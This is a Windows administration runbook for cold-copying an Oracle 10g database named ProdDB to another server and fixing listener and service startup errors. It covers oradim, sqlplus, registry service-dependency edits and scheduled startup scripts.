12. Cold Backup and Restore from Another Oracle 10.2.0.4 Database Server (Windows)
12.1. (Source Computer) Shutdown Oracle Instance ProdDB
12.2. (Source Computer) Stop all Oracle Services
12.3. (Source Computer) Turn attached hard drive (#1) (Oracle DB is on D:) off
12.4. (Source Computer) Detach hard drive (#1)
12.5. Attach the USB Lacie hard drive (#1) to Target Computer
12.6. Turn the hard drive (#1) on
12.7. Logon to hard drive (#1)
12.8. The attached becomes drive “E:”
12.9. The existing Target Computer hard drive (#2) has drive letter “D:”
12.10. Copy all contents in E:\ORACLE\ORADATA\ProdDB to D:\ORACLE\ORADATA\ProdDB (The file size is over 200GB. It will take about 5 hours to copy over)
12.11. Turn hard drive (#1) off and reconnect it back to Source Computer, then turn it on
12.12. Create an administration directory structure on Target Computer. The directories under C:\oracle\admin\ProdDB\ are: adump, arch, bdump, cdump, create, pfile, scripts, udump
12.13. Copy the initproddb.ora file from Source Computer C:\oracle\admin\ProdDB\pfile to Target Computer C:\oracle\admin\ProdDB\pfile directory. Open file to make sure locations of control files, bdump files and udump files
12.14. Copy the C:\oracle\product\10.2.0\db_1\database\initproddb.ora file from Source Computer C:\oracle\product\10.2.0\db_1\database to Target Computer C:\oracle\product\10.2.0\db_1\database directory. It contains one line pointing the init file to the pfile location. (for example, IFILE=C:\oracle\admin\ProdDB\pfile\initprddb.ora)
12.15. In a command line window, use the oradim utility to create the ProdDB instance. (oradim –new –sid ProdDB -startmode AUTO –pfile C:\oracle\admin\ProdDB\pfile\initproddb.ora) – Instance created.
12.16. In Target Computer C:\oracle\product\10.2.0\db_1\NETWORK\ADMIN folder, backup three files (listener.ora to listener_ori.ora, tnsnames.ora to tnsnames_ori.ora and sqlnet.ora to sqlnet_ori.ora)
12.17. Modify file C:\oracle\product\10.2.0\db_1\NETWORK\ADMIN\sqlnet.ora based on Source Computer's sqlnet.ora
12.18. Modify file C:\oracle\product\10.2.0\db_1\NETWORK\ADMIN\tnsnames.ora based on Source Computer's tnsnames.ora
12.19. Modify file C:\oracle\product\10.2.0\db_1\NETWORK\ADMIN\listener.ora based on Source Computer's listener.ora
12.20. Open a “Command” window
12.21. C:\oracle\product\10.2.0\db_1>set ORACLE_HOME=C:\oracle\product\10.2.0\db_1
12.22. C:\oracle\product\10.2.0\db_1>set ORACLE_SID=ProdDB
12.23. C:\oracle\product\10.2.0\db_1>sqlplus /nolog
12.24. SQL>connect sys/mervin as sysdba
12.25. SQL>startup mount
12.26. *Note: If you had to copy any of the files into a location other than D:\oracle\oradata\proddb, then perform a rename operation for each file. (in sqlplus, alter database rename file ‘old_location’ to ‘new_location’;)
12.27. SQL>alter database open; (When this succeeds, the database is up)
12.28. SQL>quit

13. Verify ProdDB availability
13.1. Select: Start Button->Programs->Oracle – OraDB 10g_home1->Application Development->SQL Plus
13.2. “User Name:”=”system”; “Password:”=”changeit”; “Host String:”=”ProdDB"
13.3. SQL>select count(*) from {an existing table};
13.4. The count should return a number and match the count on source computer
13.5. Restart Server
13.6. Test again. If there is any errors, verify all required Oracle services are up. If not, start required Oracle services and test again

14. Trouble Shootings
14.1. Error “ORA-12541: TNS: no listener”
a. Possible Cause: The Oracle Listener is not up
b. Check “Start” button->Settings->Control Panel->Administrative Tools->Serviecs” to make sure Startup Type of “OracleOraDb10g_home1TNSListener” is set to “Automatic”
c. If not, change it to “Automatic” and test again; If it is already set to “Automatic”, check the error as 14.5 describes
d. Click: “Start” button->Settings->Control Panel->Administrative Tools->Event View->System to verify the error
e. If it is a timeout error, you can just start the service manually
f. If you don’t want to manually start the Listener at every reboot, follow following steps to set service dependency
g. Launch Registry by run the command “regedit”, always backup the registry before any change. See Microsoft Knowledge Base article 322756 for details
h. To create a new dependency, select the subkey “OracleOraDb10g_home1TNSListener”, click “Edit”, and then click “Multi-String Value”. Change the value name to "DependOnService" (without the quotation marks) with a data type of REG_MULTI_SZ, and then click “ESC” key. Double click on the “DependOnService”. When the “Value Data” dialog box appears, type the name or names of the services that you prefer to start before this service with one entry for each line, in this case, we add just one line “OracleServiceproddb” and then click “OK”
i. Click menu “File”->Exit to close the “regedit”
j. The name of the service you would enter in the Data dialog box is the exact name of the service as it appears in the registry under the Services key. When the computer starts, it uses this entry to verify that the service or services listed in this value are started before attempting to start the dependent service.
k. Restart the server and verify if database can be started automatically
l. If service “OracleServiceproddb” is timed out, use “Event Viewer” to find a service that starts later than the error and put the dependency on “OracleServiceProdDB”.
m. Restart the server and verify if database can be started automatically
n. Scripting the Listener Start. If you still can't get the Listener to function properly you are left with scripting the starting the listener. Create a batch file as follows (two lines total), and save it in “C:\oracle\scripts\start_listener.bat”
REM Batch File for starting Oracle Listener.lsnrctl start
o. Click “Start” button->Programs->Accessories->System Tools->Scheduled Tasks
p. Click “Add Scheduled Task”
q. The “Scheduled Task Wizard” is displayed. Click “Next”
r. Click “Browse…” button and go to “C:\oracle\scripts” and select the file “start_listener.bat”
s. Select “When my computer starts” and click “Next”
t. Give your account’s password and confirm it
u. Click “Finish”
v. Restart the server and verify if database can be started automatically

14.2. Error “ORA-27101: shared memory realm does not exist”
a. Possible Cause: Database instance ProdDB is not up automatically
b. Check Task Manager for the ORACLE.EXE process. If it is present, then the service started.
c. Check the Alert Log for the database. If the problem is not with the database, there will be no indication in the log that the database even tried to start.
d. Check the oradim.log in the $ORACLE_HOME/database directory for errors. Check the date on the log file as versions before 9i did not date/time stamp the entries
e. If there are no errors in the logs then try and start the database.
C:> sqlplus "/ as sysdba"connected to an idle instanceSQL> starup
If the database starts great, the problem is in the service.
f. To check the Win service: Open the registry with regedit. Always back up the registry before making changes. Navigate to the key: HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE\oracle_home_name. There will be a key called: ORA_SID_AUTOSTART. SID is your database SID.
g. This key should be set to TRUE. If not the server starts but does not start the database. There is also an ORA_SID_SHUTDOWN which you want to be TRUE so that if the server is shut down the service will shutdown the database.
h. Test the service: If the ORA_SID_AUTOSTART setting was the problem, change it to TRUE and then test the service by stopping and then restarting the service to see it the database automatically starts. If it does, then that fixed your problem......or maybe is didn't. Reboot the server to verify that the database will start automatically. Sometimes the service will work, only to fail again after a reboot. If the service fail after rebooting you need to recreate it. This is where the oradim utility comes in.
i. Deleting a Service: First delete or rename the oradim.log file. Next delete the current service.
c:\>oradim -delete -sid ProdDB
j. Creating a new Service. Again we use oradim to recreate the service. This entire command is on one line.
c:\> oradim -new -sid ProdDB -startmode AUTO -pfile c:\oracle\admin\SID\pfile\initproddb.ora
k. This command does a lot and will take some time to complete (if startmode is set to AUTO it will start the database).
l. Check the oradim.log for errors. Finally, verify the service works as needed by starting and stopping it. Then test with a reboot. If the service fails try recreating it again.
m. Scripting the Database Start. If you can't get the service to function properly you are left with scripting the starting of the database. Recreate the service with the -startmode set to MANUAL. Then create a batch file as follows:
REM Wait for the server to start.sleep 60REM Start the database%ORACLE_HOME%\bin\sqlplus -s "/ as sysdba" @startup.sqlexit
The startup.sql file
-- start the databasestartupexit
n. Now schedule the batch file in the Windows Scheduler to run at startup (Refer to 14.1.o)

14.3. Error “ORA-01033: ORACLE initialization or shutdown in progress”
a. Possible Cause: LACIE USB drive just requested fingerprints authentication.
b. The slow interactive fingerprints authentication causes ORACLE initialization failure
c. “Restart” the server (do not “Shutdown”, just do a warm restart). LACIE USB drive connection should be kept and the error can be avoided.